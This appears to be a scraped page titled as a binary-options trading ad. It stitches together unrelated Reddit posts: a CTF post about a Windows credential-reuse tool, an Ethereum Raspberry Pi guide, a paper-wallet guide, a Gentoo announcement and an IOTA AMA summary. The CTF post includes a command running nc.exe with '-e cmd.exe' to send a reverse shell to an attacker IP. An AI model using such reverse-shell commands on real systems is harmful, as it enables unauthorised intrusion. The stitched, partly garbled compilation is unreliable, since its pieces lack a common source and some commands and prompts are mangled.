Binary Options Robot 2020 - Best Auto Trading Software

RunAsUser - Windows CTF Tool

RunAsUser - Windows CTF Tool
Hi All,
First I want to thank this community as it has been an absolute goldmine for help along the way.
So what is this post about?
Along my journey I have developed a number of tools and scripts that I find to be helpful in certain scenarios. I am a strong believer in knowledge sharing and would like to give back to the community. If this tool just helps one person then I will be happy.
What is the tool?
I have come across a number of boxes now (Windows) where you may find credentials after obtaining your initial shell. The purpose is to usually reuse these credentials in some way to either pivot or escalate.
Unlike Linux, there is not a simple "su" command to just switch to the new user.
This is a simple tool to allow you to reuse those credentials and execute programs as the other user. So for example, if you have nc.exe or an msfvenom shell executable on the Windows machine and happen to find some credentials during your enumeration, then you can execute those files in the context of the new user.
Where can this be used?
Most recently I have used this on HTB (Chatterbox & JSON). At some point I may release a walkthrough to demonstrate RunAsUser being used on these boxes.
After you obtain the credentials on the JSON box you can simply run RunAsUser.exe like this:
runasuser.exe -u superadmin -p funnyhtb -f c:\Users\Public\nc.exe -a '10.10.14.12 9001 -e cmd.exe' 

  • -u = username
  • -p = password
  • -f = file to execute
  • -a = arguments (optional)
Alternatively, you do not need to supply the command line arguments like above. You may enter them in a step by step approach.

https://preview.redd.it/08xvsjntvuw51.png?width=567&format=png&auto=webp&s=9e929d6d34eff036259285b284031ff2a509f271
Are there other ways of doing this?
In PowerShell you can achieve this by creating a credential object and passing the object when starting the process. However, you may experience on some boxes that you have limited or no PowerShell capability without it crashing your shell. There are other ways to achieve this in a cmd shell but I have had hit and miss success with that in my experience.
Now there will likely be other ways of pivoting or escalating and reusing those credentials but this can sometimes be a more direct path.
Notes about tool
This isn't an everyday tool, but it can certainly help you out on restrictive boxes that you are on when you identify credentials.
I will likely update the tool in due course to include some better error handling and validation etc, but for now, it does what is required. I made this tool to help me out for this exact purpose and thought it may help others as well.
The advisory
I will always add an advisory to any tool or script I post.
Advisory All the binaries/scripts/code of RunAsUser should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
Finally
As I said previously, I hope this tool can help someone and I shall be posting more tools and scripts in the near future when I find the time.
Stay safe all :-)
https://github.com/atthacks/RunAsUser

************Edit************
As mentioned in the first comment, it is possible to use runas to execute a program in the context of another user. But as I have put in the description, I have not always been successful in getting this to work and from what I understand it could be a few reasons.
Anyway, I have uploaded a GIF to the GitHub page (https://github.com/atthacks/RunAsUser) for you to see what happens when I try to use "runas" on ChatterBox and ultimately what happens when I run "RunAsUser". When you run "runas", it completely steps over the step of allowing you to type a password. ChatterBox is not the only machine I have experienced this on.
This tool is not the only solution to do this task and there are other ways of achieving the same outcome, such as PsExec. However, it is a quick tool that I enjoyed making and hopefully someone may find it helpful.

submitted by atthacks to oscp [link] [comments]

Ethereum on ARM. New Eth2.0 Raspberry Pi 4 image for joining the Medalla multi-client testnet. Step-by-step guide for installing and activating a validator (Prysm, Teku, Lighthouse and Nimbus clients included)

TL;DR: Flash your Raspberry Pi 4, plug in an ethernet cable, connect the SSD disk and power up the device to join the Eth2.0 medalla testnet.
The image takes care of all the necessary steps to join the Eth2.0 Medalla multi-client testnet [1], from setting up the environment and formatting the SSD disk to installing, managing and running the Eth1.0 and Eth2.0 clients.
You will only need to choose an Eth2.0 client, start the beacon chain service and activate / run the validator.
Note: this is an update for our previous Raspberry Pi 4 Eth2 image [2] so some of the instructions are directly taken from there.

MAIN FEATURES

SOFTWARE INCLUDED

INSTALLATION GUIDE AND USAGE

RECOMMENDED HARDWARE AND SETUP
STORAGE
You will need an SSD to run the Ethereum clients (without an SSD drive there’s absolutely no chance of syncing the Ethereum blockchain). There are 2 options:
Use an USB portable SSD disk such as the Samsung T5 Portable SSD.
Use an USB 3.0 External Hard Drive Case with a SSD Disk. In our case we used a Inateck 2.5 Hard Drive Enclosure FE2011. Make sure to buy a case with an UASP compliant chip, particularly, one of these: JMicron (JMS567 or JMS578) or ASMedia (ASM1153E).
In both cases, avoid getting low quality SSD disks as it is a key component of your node and it can drastically affect the performance (and sync times). Keep in mind that you need to plug the disk to an USB 3.0 port (in blue).
IMAGE DOWNLOAD AND INSTALLATION
1.- Download the image:
http://www.ethraspbian.com/downloads/ubuntu-20.04.1-preinstalled-server-arm64+raspi-eth2-medalla.img.zip
SHA256 149cb9b020d1c49fcf75c00449c74c6f38364df1700534b5e87f970080597d87
2.- Flash the image
Insert the microSD in your Desktop / Laptop and download the file.
Note: If you are not comfortable with command line or if you are running Windows, you can use Etcher [10]
Open a terminal and check your MicroSD device name running:
sudo fdisk -l
You should see a device named mmcblk0 or sdd. Unzip and flash the image:
unzip ubuntu-20.04.1-preinstalled-server-arm64+raspi-eth2-medalla.img.zip
sudo dd bs=1M if=ubuntu-20.04.1-preinstalled-server-arm64+raspi.img of=/dev/mmcblk0 conv=fdatasync status=progress
3.- Insert de MicroSD into the Raspberry Pi 4. Connect an Ethernet cable and attach the USB SSD disk (make sure you are using a blue port).
4.- Power on the device
The Ubuntu OS will boot up in less than one minute but you will need to wait approximately 7-8 minutes in order to allow the script to perform the necessary tasks to install the Medalla setup (it will reboot again)
5.- Log in
You can log in through SSH or using the console (if you have a monitor and keyboard attached)
User: ethereum Password: ethereum 
You will be prompted to change the password on first login, so you will need to log in twice.
6.- Forward 30303 port in your router (both UDP and TCP). If you don’t know how to do this, google “port forwarding” followed by your router model. You will need to open additional ports as well depending on the Eth2.0 client you’ve chosen.
7.- Getting console output
You can see what’s happening in the background by typing:
sudo tail -f /valog/syslog
8.- Grafana Dashboards
There are 5 Grafana dashboards available to monitor the Medalla node (see section “Grafana Dashboards” below).

The Medalla Eth2.0 multi-client testnet

Medalla is the official Eth2.0 multi-client testnet according to the latest official specification for Eth2.0, the v0.12.2 [11] release (which is aimed to be the final) [12].
In order to run a Medalla Eth 2.0 node you will need 3 components:
The image takes care of the Eth1.0 setup. So, once flashed (and after a first reboot), Geth (Eth1.0 client) starts to sync the Goerli testnet.
Follow these steps to enable your Eth2.0 Ethereum node:
CREATE THE VALIDATOR KEYS AND MAKE THE DEPOSIT
We need to get 32 Goerli ETH (fake ETH) ir order to make the deposit in the Eth2.0 contract and run the validator. The easiest way of getting ETH is by joining Prysm Discord's channel.
Open Metamask [14], select the Goerli Network (top of the window) and copy your ETH Address. Go to:
https://discord.com/invite/YMVYzv6
And open the “request-goerli-eth” channel (on the left)
Type:
!send $YOUR_ETH_ADDRESS (replace it with the one copied on Metamask)
You will receive enough ETH to run 1 validator.
Now it is time to create your validator keys and the deposit information. For your convenience we’ve packaged the official Eth2 launchpad tool [4]. Go to the EF Eth2.0 launchpad site:
https://medalla.launchpad.ethereum.org/
And click “Get started”
Read and accept all warnings. In the next screen, select 1 validator and go to your Raspberry Pi console. Under the ethereum account run:
cd && deposit --num_validators 1 --chain medalla
Choose your mnemonic language and type a password for keeping your keys safe. Write down your mnemonic password, press any key and type it again as requested.
Now you have 2 Json files under the validator_keys directory. A deposit data file for sending the 32 ETH along with your validator public key to the Eth1 chain (goerli testnet) and a keystore file with your validator keys.
Back to the Launchpad website, check "I am keeping my keys safe and have written down my mnemonic phrase" and click "Continue".
It is time to send the 32 ETH deposit to the Eth1 chain. You need the deposit file (located in your Raspberry Pi). You can, either copy and paste the file content and save it as a new file in your desktop or copy the file from the Raspberry to your desktop through SSH.
1.- Copy and paste: Connected through SSH to your Raspberry Pi, type:
cat validator_keys/deposit_data-$FILE-ID.json (replace $FILE-ID with yours)
Copy the content (the text in square brackets), go back to your desktop, paste it into your favourite editor and save it as a json file.
Or
2.- Ssh: From your desktop, copy the file:
scp [email protected]$YOUR_RASPBERRYPI_IP:/home/ethereum/validator_keys/deposit_data-$FILE_ID.json /tmp
Replace the variables with your data. This will copy the file to your desktop /tmp directory.
Upload the deposit file
Now, back to the Launchpad website, upload the deposit_data file and select Metamask, click continue and check all warnings. Continue and click “Initiate the Transaction”. Confirm the transaction in Metamask and wait for the confirmation (a notification will pop up shortly).
The Beacon Chain (which is connected to the Eth1 chain) will detect this deposit (that includes the validator public key) and the Validator will be enabled.
Congrats!, you just started your validator activation process.
CHOOSE AN ETH2.0 CLIENT
Time to choose your Eth2.0 client. We encourage you to run Lighthouse, Teku or Nimbus as Prysm is the most used client by far and diversity is key to achieve a resilient and healthy Eth2.0 network.
Once you have decided which client to run (as said, try to run one with low network usage), you need to set up the clients and start both, the beacon chain and the validator.
These are the instructions for enabling each client (Remember, choose just one Eth2.0 client out of 4):
LIGHTHOUSE ETH2.0 CLIENT
1.- Port forwarding
You need to open the 9000 port in your router (both UDP and TCP)
2.- Start the beacon chain
Under the ethereum account, run:
sudo systemctl enable lighthouse-beacon
sudo systemctl start lighthouse-beacon
3.- Start de validator
We need to import the validator keys. Run under the ethereum account:
lighthouse account validator import --directory=/home/ethereum/validator_keys
Then, type your previously defined password and run:
sudo systemctl enable lighthouse-validator
sudo systemctl start lighthouse-validator
The Lighthouse beacon chain and validator are now enabled

PRYSM ETH2.0 CLIENT
1.- Port forwarding
You need to open the 13000 and 12000 ports in your router (both UDP and TCP)
2.- Start the beacon chain
Under the ethereum account, run:
sudo systemctl enable prysm-beacon
sudo systemctl start prysm-beacon
3.- Start de validator
We need to import the validator keys. Run under the ethereum account:
validator accounts-v2 import --keys-dir=/home/ethereum/validator_keys
Accept the default wallet path and enter a password for your wallet. Now enter the password previously defined.
Lastly, set up your password and start the client:
echo "$YOUR_PASSWORD" > /home/ethereum/validator_keys/prysm-password.txt
sudo systemctl enable prysm-validator
sudo systemctl start prysm-validator
The Prysm beacon chain and the validator are now enabled.

TEKU ETH2.0 CLIENT
1.- Port forwarding
You need to open the 9151 port (both UDP and TCP)
2.- Start the Beacon Chain and the Validator
Under the Ethereum account, check the name of your keystore file:
ls /home/ethereum/validator_keys/keystore*
Set the keystore file name in the teku config file (replace the $KEYSTORE_FILE variable with the file listed above)
sudo sed -i 's/changeme/$KEYSTORE_FILE/' /etc/ethereum/teku.conf
Set the password previously entered:
echo "yourpassword" > validator_keys/teku-password.txt
Start the beacon chain and the validator:
sudo systemctl enable teku
sudo systemctl start teku
The Teku beacon chain and validator are now enabled.

NIMBUS ETH2.0 CLIENT
1.- Port forwarding
You need to open the 19000 port (both UDP and TCP)
2.- Start the Beacon Chain and the Validator
We need to import the validator keys. Run under the ethereum account:
beacon_node deposits import /home/ethereum/validator_keys --data-dir=/home/ethereum/.nimbus --log-file=/home/ethereum/.nimbus/nimbus.log
Enter the password previously defined and run:
sudo systemctl enable nimbus
sudo systemctl start nimbus
The Nimbus beacon chain and validator are now enabled.

WHAT's NEXT
Now you need to wait for the Eth1 blockchain and the beacon chain to get synced. In a few hours the validator will get enabled and put into a queue. These are the validator status that you will see until its final activation:
Finally, it will get activated and the staking process will start.
Congratulations!, you join the Medalla Eth2.0 multiclient testnet!

Grafana Dashboards

We configured 5 Grafana Dashboards to let users monitor both Eth1.0 and Eth2.0 clients. To access the dashboards just open your browser and type your Raspberry IP followed by the 3000 port:
http://replace_with_your_IP:3000 user: admin passwd: ethereum 
There are 5 dashboards available:
Lots of info here. You can see for example if Geth is in sync by checking (in the Blockchain section) if Headers, Receipts and Blocks fields are aligned or find Eth2.0 chain info.

Updating the software

We will be keeping the Eth2.0 clients updated through Debian packages in order to keep up with the testnet progress. Basically, you need to update the repo and install the packages through the apt command. For instance, in order to update all packages you would run:
sudo apt-get update && sudo apt-get install geth teku nimbus prysm-beacon prysm-validator lighthouse-beacon lighthouse-validator
Please follow us on Twitter in order to get regular updates and install instructions.
https://twitter.com/EthereumOnARM

References

  1. https://github.com/goerli/medalla/tree/mastemedalla
  2. https://www.reddit.com/ethereum/comments/hhvi2ethereum_on_arm_new_eth20_raspberry_pi_4_image/
  3. https://github.com/ethereum/go-ethereum/releases/tag/v1.9.20
  4. https://github.com/ethereum/eth2.0-deposit-cli/releases
  5. https://github.com/prysmaticlabs/prysm/releases/tag/v1.0.0-alpha.23
  6. https://github.com/PegaSysEng/teku
  7. https://github.com/sigp/lighthouse/releases/tag/v0.2.8
  8. https://github.com/status-im/nim-beacon-chain
  9. https://grafana.com
  10. https://www.balena.io/etcher
  11. https://github.com/ethereum/eth2.0-specs/releases/tag/v0.12.2
  12. https://blog.ethereum.org/2020/08/03/eth2-quick-update-no-14
  13. https://goerli.net
  14. https://metamask.io
submitted by diglos76 to ethereum [link] [comments]

How to generate (relative) secure paper wallets and spend them (Newbies)

How to generate (relative) secure paper walletsEveryone is invited to suggest improvements, make it easier, more robust, provide alternativers, comment on what they like or not, and also critizice it.
Also, this is a disclaimer: I'm new to all of this. First, I didn't buy a hardware wallet because they are not produce in my country and I couldnt' trust they are not tampered. So the other way was to generate it myself. (Not your keys not your money) I've instructed myself several weeks reading various ways of generating wallets (including Glacier). As of now, I think this is THE BEST METHOD for a non-technical person which is high security and low cost and not that much lenghty.
FAQs:Why I didn't use Coleman's BIP 39 mnemonic method? Basically, I dont know how to audit the code. As a downside, we will have to really write down accurately our keys having in mind that a mistype is fatal. Also, we should keep in mind that destruction of the key is fatal as well. The user has to secure the key from losing the keys, theft and destruction.
Lets start
You'll need:
Notes: We will be following https://www.swansontec.com/bitcoin-dice.html guidelines. We will be creating our own random key instead of downloading BitAddress javascript for safety reasons. Following this guideline lets you audit the code that will create the public address and bitcoin address. Its simple, short and you can always test the code by inputting a known private keys to tell if the bitcoin address generated is legit or not. This process is done offline, so your private key never touches the internet.
Steps
1. Download the bitcoin-bash-tools and dice2key scripts from Github, latest Ubuntu distribution, and LiLi, A software to install Ubuntu on our flash drive (easier than what is proposed on Swansontec)

2. Install the live environment in a CD or USB, and paste the tools we are going to use inside of it (they are going to be located in file://cdrom)

  • Open up LiLi and insert your flash drive.

  • Make sure you’ve selected the correct drive (click refresh if drive isn’t showing).
  • Choose “ISO/IMG/ZIP” and select the Ubuntu ISO file you’ve downloaded in the previous step.
  • Make sure only “Format the key in FAT32” is selected.
  • Click the lightning bolt to start the format and installation process
  • [https://99bitcoins.com/bitcoin-wallet/pape\](https://99bitcoins.com/bitcoin-wallet/pape)

    3. Open the Ubuntu environment in a offline computer that will never touch the internet again (there is some malware that infect the BIOS so doing it in your regular computer is not safe to my understanding)

    Restart your computer. Clicking F12 or F1 during the boot-up process will allow you to choose to run your operating system from your flash drive or CD. After the Ubuntu operating system loads you will choose the “try Ubuntu” option.
    4. Roll the dice 100 times and convert into a 32-byte hexadecimal number by using dice2key

    To generate a Bitcoin private key using normal, run the following command to convert the dice rolls into a 32-byte hexadecimal number:source dice2key (100 six-sided dice rolls)

    5. Run newBitcoinKey 0x + your private key and it will give you your: public address, bitcoin address and WIF.Save the Private Key and Bitcoin Address. Check several times that you handwritten it correctly. You can check by re entering the code in the console from your paper. (I recommend writing down the Private Key which is in HEX and not the WIF since this one is key sensitive and you can lose it, or write it wrong. Also, out of the private key you can get the WIF which will let you transfer your funds). If you lose your key, you lose your funds. Be careful.
    If auditing the code for this is not enough for you, you can also test the code by inputting a known private keys to tell if the bitcoin address generated is legit or not.
    I recommend you generate several keys and addresses as this process is not super easy to do. Remember that you should never reuse your paper wallets (meaning that you should empty all of the funds from this one adress if you are making a payment). As such, a couple of addresses come handy.
    At this point, there should be no way for information to leak out of the live CD environment. The live CD doesn't store anything on the hard disk, and there is no network connection. Everything that happens from now on will be lost when the computer is rebooted.
    Now, start the "Terminal" program, and type the following command:
    source ~/bitcoin.shThis will load the address-calculation script. Now, use the script to find the Bitcoin address for your private key:
    newBitcoinKey 0x(your dice digits)Replace the part that says "(your dice digits)" with 64 digits found by rolling your pair of hexadecimal dice 32 times. Be sure there is no space between the "0x" and your digits. When all is said and done, your terminal window should look like this:
    [email protected]:~$ source ~/[email protected]:~$ newBitcoinKey 0x8010b1bb119ad37d4b65a1022a314897b1b3614b345974332cb1b9582cf03536---secret exponent: 0x8010B1BB119AD37D4B65A1022A314897B1B3614B345974332CB1B9582CF03536public key: X: 09BA8621AEFD3B6BA4CA6D11A4746E8DF8D35D9B51B383338F627BA7FC732731 Y: 8C3A6EC6ACD33C36328B8FB4349B31671BCD3A192316EA4F6236EE1AE4A7D8C9compressed: WIF: L1WepftUBemj6H4XQovkiW1ARVjxMqaw4oj2kmkYqdG1xTnBcHfC bitcoin address: 1HV3WWx56qD6U5yWYZoLc7WbJPV3zAL6Hiuncompressed: WIF: 5JngqQmHagNTknnCshzVUysLMWAjT23FWs1TgNU5wyFH5SB3hrP bitcoin address: [email protected]:~$The script produces two public addresses from the same private key. The "compressed" address format produces smaller transaction sizes (which means lower transaction fees), but it's newer and not as well-supported as the original "uncompressed" format. Choose which format you like, and write down the "WIF" and "bitcoin address" on a piece of paper. The "WIF" is just the private key, converted to a slightly shorter format that Bitcoin wallet apps prefer.
    Double-check your paper, and reboot your computer. Aside from the copy on the piece of paper, the reboot should destroy all traces of the private key. Since the paper now holds the only copy of the private key, do not lose it, or you will lose the ability to spend any funds sent to the address!
    Conclusion
    With this method you are creating an airgapped environment that will never touch the internet. Also, we are checking that the code we use its not tampered. If this is followed strictly I see virtually no chances of your keys being hacked.
    How to spend your funds from a securely generated paper wallet.
    Almost all tutorials seen online, will let you import or sweep you private keys into the desktop wallet or mobile wallet which are hot wallets. In the meantime, you are exposed and all of your work to secure the cold storage is being thrown away. This method will let you sign the transaction offline (you will not expose your private key in an online system).
    You'll need:
    The source of this method is taken from CryptoGuide from Youtube https://www.youtube.com/watch?v=-9kf9LMnJpI&t=86s . Basically you can follow his video as it is foolproof. Please check that Electrum distribution is signed.
    The summarized steps are:
    Download Electrum on both devices and check its signed for safey.Disconnect your phone from the internet (flight mode= All connections off) and input your private key in ElectrumGenerate the transaction in your desktop and export it via QR (never leave unspent BTC or you will lose them)In your phone, open Electrum > Send > QR (this will import the transaction) and scan the desktop exported transactionSign the transaction in your phone.Export the signed transaction in QRLoad the signed transaction in the desktop Electrum and broadcast it to the network.Wait until 3 confirmations to connect your phone to the internet again.
    Ideas for improvement:
    So thats it. I hope someone can find this helpful or help in creating a better method. If you like, you can donate at 1Che7FG93vDsbes6NPBhYuz29wQoW7qFUH
    submitted by Heron-Express to Bitcoin [link] [comments]

    Precompiled Gentoo Linux 17th Year Anniversary September 2020 update - Three complete GPU specific configurations

    With my 17th year supporting Gentoo approaching in September I especially wanted to post this for Gentoo users.
    I have for years found the hobby of helping people on this subreddit enjoyable and wanted to offer you all an update to aid you in these trying times with your struggles adjusting to and learning to love penguins!
    As some of you know i've been a stalwart supporter of Gentoo Linux since 2003 due to the educational merits and flexibility afforded by "baking your own binaries" and configuring your own install to suit your own hardware or purpose.
    This is great but the build time required to compile all that software does dissuade some people from making an attempt.
    I've precompiled Gentoo Linux "stage4" tar.gz base system installs and released them on several previous occasions however i felt the changes since June warranted creating a new post update.
    In December i began providing three gpu specific configurations for Intel amd and nvidia graphics cards and given positive feedback have continued this in a similar fashion to Systemd76 Pop!_ OS
    featuring kde plasma with full support for 32 bit applications then add support for docker, qemu, lutris, steam, wine staging and much more!
    These builds contain the base gentoo install stage used for the initial builds in the root filesystem within the tarballs for each build dated December 12 2019
    These builds are an update of the finest gentoo chroot builds assembled to date i've released to the general public :)
    Gentoo Linux releases system install base systems as compressed archives that include the bare minimum software necessary for Linux to reproduce itself and any other software program. Historically Gentoo used to allow users to progress to this point by building up to several "stages" from stage 1 to stage 3 then later settled on only providing stage3.
    Stage4 is terminology Gentoo Linux users frequently use to refer to only the filesystem contents that comprises any completed and archived installation.
    Stage4 Gentoo system backup largely replaces the install stage choices offered the gentoo install handbook
    As many people have discovered that attempt using Linux software configuration can be inflexible or incompatible after it's been prepackaged for distros such as Ubuntu or Mint or you pick one and no avenue to recompile that software is provided to adapt that software for only your own hardware configuration to "fine tune" and eliminate consistency conflicts or eliminate an overabundance of software features having been supported.
    *** These builds will require some customization and additional config to become bootable if you choose to proceed with further system install configuration ***
    New Gentoo Linux 17.1 September 2020 build details
    Stay safe in these trying times, compile long and prosper!
    submitted by xartin to Gentoo [link] [comments]

    [OWL WATCH] AMA's SUMMARY

    Disclaimer: This is my arbitrary summary for myself, so there could be some misunderstandings.
    If you want the full picture, I recommend reading the full thread.
    But, for a guy who just settles with 'less than perfect' summary, why not sharing my own?


    Billy-IF
    All the key research questions in coordicide have been answered. The challenges lying are implementing and testing our solution. We are implementing our solution into the Pollen Testnet and typing it up into our research specifications**(the specifications, while not complete, will hopefully be made publicly available soon).**
    **After these tasks are done, our solution will go through a rigorous testing phase.**During this time, we will collect performance data, look for attack vectors, and tune the parameters.

    domsch
    the only way for IOTA and crypto-currencies in general to be adopted is via clear and strong regulatory guidelines and frameworks.
    We often have the situation where a company reaches out to us and wants to use the IOTA token, but they are simply not able to due to uncertainties in regards to taxes, accounting, legal and regulatory questions.
    The EU is taking a great stance with their new proposal (called MICA) to provide exactly this type of regulatory clarity and guidance we need. So we are very happy about that and see this as a great development for the adoption of IOTA.
    We are very active in INATBA (in fact Julie is still on the board), are in the Executive Committee of the Digital Chamber of Commerce (https://digitalchamber.org) and are actively working with other regulatory bodies around the world. I think that especially in 2021, we will be much more pro-active with our outreach and efforts to push for more regulatory guidance (for the IOTA Token, for Tokenization, Smart Contracts, etc.). We are already talking with companies to start case studies around what it means to use the IOTA token - so that will be exciting.

    domsch
    actual product development, will really help us to convince regulators and lawmakers of what IOTA is intended for and where its potential lies.

    DavidSonstebo
    We are actively participating in regulatory matters via entities such as INATBA, as well as with local regulators in individual countries to help shape regulations to favor the adoption of crypto.
    once the use cases can display real-world value, then deployments will happen regardless.

    serguei_popov
    "The multiverse" is quite an ingenious and promising idea that has many components. Actually, quite some of those are being incorporated to the Coordicide already now. The most "controversial" part, though, is the pure on-Tangle voting -- Hans thinks it should work fine while I think that it can be attacked

    Billy-IF
    Several of our modules have been devloped jointly with researchers in academia. For example, our rate control module is being developed jointly with professor Robert Shorten **and his team at Imperial College. Moreover,**our team has published several papers in peer reviewed journals and conference proceedings,
    We are also making sure the entire protocol is audited. First, we have a grant given to Professor Mauro Conti specifcally to vet our solution.
    you may hear an announcement regarding a similar grant to a second university.Second, eventually will offer bug bounties on our testnet. Lastly, we will hire some firm to audit our software and our protocol.

    domsch
    I would say that the entire enterprise and also the broader crypto-community is certainly actively following our developments around Coordicide**.**
    Once that is removed, and with the introduction of Tokenization and Smart Contracts as Layer 2 solutions, there is no reason not to switch to IOTA.
    there are probably even more who will reach out once we've achieved our objective of being production ready.

    serguei_popov
    Our objective is to have Honey ready within the first half of 2021.
    we are very confident that Coordicide will happen in time.

    Billy-IF
    For Chrysalis, we will implement a deposit system. In order for an address to receive dust (which will be explicitly defined as any output with value less than a certain threshold), that address must already have a minimum balance (either 1 MIota or 1 KIota). The total ordering in conflict white flag makes this solution incredibly easy to implement.
    this solution in the Coordicide needs alterations, because of the lack of total ordering.

    HusQy_IOTA
    Sharding is part of IOTA 3.0 and currently still in research.
    there are of course some hard questions that need to be answered but we are pretty confident that these questions can and will be answered.

    Billy-IF
    **Having these layers helps keep the protocol modular and organized.****Indeed,****it is important to be able to track dependencies between the modules, particularly for standardization purposes.As your question suggests, a key component of standardization is the ability to update the standard(no living protocol is completely static).**Standardization will be accompanied by a versioning system, which tracks backwards compatibility.

    Billy-IF
    Well, let me try to clear these things up.
    -The congestion control mechanisms are indifferent to the types of messages in the tangle. Thus non-value transactions (data messages) will be processed in the same way as value transactions (value messages). Thus, in times of congestion, a node will require mana in order to issue either of them.
    -You will not need mana to simply “set up a node” and monitor the tangle.
    However, in order to send transactions (or issue any messages) you will need mana in times of congestion.

    IF_Dave
    **The next big one is next month:**Odyssey Momentum; This is a huge multi-day DLT focussed hackathon with a lot of teams and big companies/governments involved working on solutions for the future. The IOTA Foundation is a Ecosystem member of Odyssey and we will be virtually present during the hackathon to help and guide teams working with IOTA.

    Billy-IF
    Coordicide will not fail. We are working very carefully to make sure that coordicide is a success, and we will not launch Iota 2.0 until it has gone through the proper testing.

    domsch
    Everyone internally and also our partners are very confident in the path that we've defined. Failure is not an option for us :)

    HusQy_IOTA
    We will most probably see a slight delay and see Nectar early 2021 instead.

    DavidSonstebo
    No, IF is not running out of money, this narrative has been repeated for 3 years now, yet we're still operating. Of course, bear markets impact our theoretical runway, but The IOTA Foundation is hard at work at diversifying revenue streams so that we become less and less dependent on the token holdings.

    IF_Dave
    We are constantly working on getting more exchanges to list IOTA, we however do not pay for listings
    Some exchanges require a standard signature scheme
    with the introduction of ed25519 in Chrysalis phase 2 that will be introduced and no longer be a restriction.

    HusQy_IOTA
    Being feeless is one of the most important aspects here since a new technology usually only gets adopted if it is either better or easier to use than existing solutions.
    if it enables new use cases that would be completely impossible with the existing infrastructure. That is the single biggest reason why I think that IOTA will prevail.
    An example for such a "new" use case is the Kupcrush use case presented by Terry

    domsch
    there are so many amazing use cases enabled with IOTA
    I would say that****the most specific use cases which gets me really excited is conditional access control based on IOTA payments - in particular for the sharing economy.
    IOTA Access + IOTA tokens really enable so many exciting new possibilities.

    Billy-IF
    In fact, with coordicide research coming to an end, we have already started to look into sharding**.**Indeed, sharding will provide the scalability needed to handle the demands of an IoT enabled world.

    Billy-IF
    We have designed Iota 2.0 to not have large concentrations of power. Unlike PoS systems, Iota will not be a block chain and thus will not be limited by a leader election process.
    in a DAG, people can information in parallel, and so nodes with small amounts of mana can create messages at the same time with large mana holders.

    Billy-IF
    **In any DLT, "voting" needs a sybil protection system, and thus "voting power" is linked to some scarce resource.****Typically the allocation of any resource follows some sort of Zipf distribution, meaning that some people will have a lot, and others not.**The best we can do is to make sure that the little guys get their fair share of voting power.

    HusQy_IOTA
    With Chrysalis and coordicide we are finally moving to being production ready which will most probably also lead to a bigger market share as partners will start to use the technology which will increase the demand for tokens.

    HusQy_IOTA
    Privacy features are currently not being researched and it might be hard to support that on layer1 but privacy features could definitely be implemented as a 2nd layer solution

    domsch
    We focus on making the base layer of IOTA (namely transactional settlement) as secure and fast as possible. Many of the greater extensions to this core functionality are built on layer 2 (we already have Streams, Access, Identity and now also Smart Contracts)

    HusQy_IOTA
    There are discussions about increasing the supply to be able to still have micro transactions if the token would i.e. cost a few hundred dollars per MIOTA but we have not made a final decision, yet.

    IF_Dave
    We think we have a edge over other technology especially when it comes to fee-less transactions allowing a lot of use-cases that would otherwise be impractical or impossible.Adoption is not a given but a useful technology will be utilized with the right functionality,

    DavidSonstebo
    **why we have such a widespread strategy of driving IOTA, not only its development but in industry, academia, regulatory circles, raising awareness, funding ecosystem efforts etc.**I am confident in the position we are in right now.
    There is a clear demand for financial disruption, data security, and automation.
    someone has to assemble a killer application that meets the demand; IF is pushing for this with partners

    Billy-IF
    Our goal is to have at least 1000 TPS.

    Billy-IF
    Personally, I think our congestion control algorithm is our greatest innovation.
    our algorithm can be used in any adversarial setting requiring fairness and consistency. Keep an eye out for a blog post that I am writing about it.

    HusQy_IOTA
    about proof of inclusion?
    I have started implementing a proof of concept locally and the required data structures and payload types are already done but we won't be able to integrate this into goshimmer until we are done with the current refactoring of the code.

    Jakub_Cech
    **Many of the changes that are part of the Chrysalis would have made it and will make it into Coordicide.**Like the atomic transactions with binary layout. The approach we took was actually opposite - as in, what are the improvements we can already make in the current network without having to wait for Coordicide, and at the same time without disrupting or delaying Coordicide?

    Billy-IF
    All the key research questions in coordicide have been answered.
    in reality, the biggest research challenges are behind us.

    Jakub_Cech
    When Chrysalis part 2 will be live?
    We are still aiming for 2020****as still reflected at roadmap.iota.org. **We want to have a testnet where everyone can test things like the new APIs on, and some initial implementations of specific client libraries****to work with.**This will also allow us to test the node (both Hornet and Bee) implementations more in the wild.
    The new wallet will also be tested on that testnet.
    The whole testing phase will be a big endeavor, and, at the same time, we will also start auditing many of the implementations,

    Billy-IF
    We are in contact currently with OMG, and they are advising us on how to draft our specifications in order to ease the standardization process. Coordicide, or Iota 2.0, actually provides us a chance to start off with a clean state, since we are building it from the ground up with standardization in mind.

    IF_Dave
    The focus at this point is delivering Chrysalis and Coordicide. DeFi could possibly be done with Smart contracts at a given moment but it's not a focus point at this stage.

    domsch
    about price?
    We are quite frankly not worried about that. Knowing everything that we have in the pipeline, our ecosystem and how everything around IOTA will mature over the next few months, I am sure that the entire crypto ecosystem will wake up to IOTA and its potential. **Many participants in the market still have outdated information from 2017 about us, so there is certainly some education to do.**But with Chrysalis and the Coordicide progress, all of that will change.

    domsch
    At the core of it, the IOTA Foundation is a leader in trust protocols and digital infrastructure.We will always remain a R&D organization at our core, as there is a lot more development we can lead when it comes to make our society and economy more fair, trustless and autonomous.
    I certainly see us evolving into a broader think-tank and expert group to advise governments and large corporations on their strategies - in particular around data, identity and IoT.

    HusQy_IOTA
    barely any cryptocurrency gets used in the real world.
    IOTA will soon start to actually be used in real world products and it is likely that this will also have an impact on the price (but I can't really give any details just yet).

    domsch
    ISCP (IOTA Smart Contract Protocol) is based on cryptographic consensus via BLS threshold signatures. That means a certain pre-defined amount of key holders have to come together to alter the state of the contract****or to send funds around. **If majority of the nodes are offline, the threshold will not be reached and the contract cannot be executed anymore.**There are various ways in how we are looking at this right now on how to make SC recovery and easy transitions possible.
    **The beauty of ISCP is that we have a validator set which you can define (can be 3 or it can be 100+), and via an open selection process we can really ensure that the network will be fully decentralized and permissionless.Every smart contract committee (which will be its own network of course) is leveraging the IOTA ledger for security and to make it fully auditable and tamper-proof.**Which means that if a committee acts wrong, we have cryptographic proof of it and can take certain actions.
    This makes our approach to smart contracts very elegant, secure and scalable.

    Billy-IF
    No, we will not standardize Iota 1.5. Yes, we do hope that standardization will help adoption by making it easier for corporates to learn our tech.

    serguei_popov
    In general, I also have to add that I'm really impressed by the force of our research department, and I think we have the necessary abilities to handle all future challenges that we might be facing.

    Billy-IF
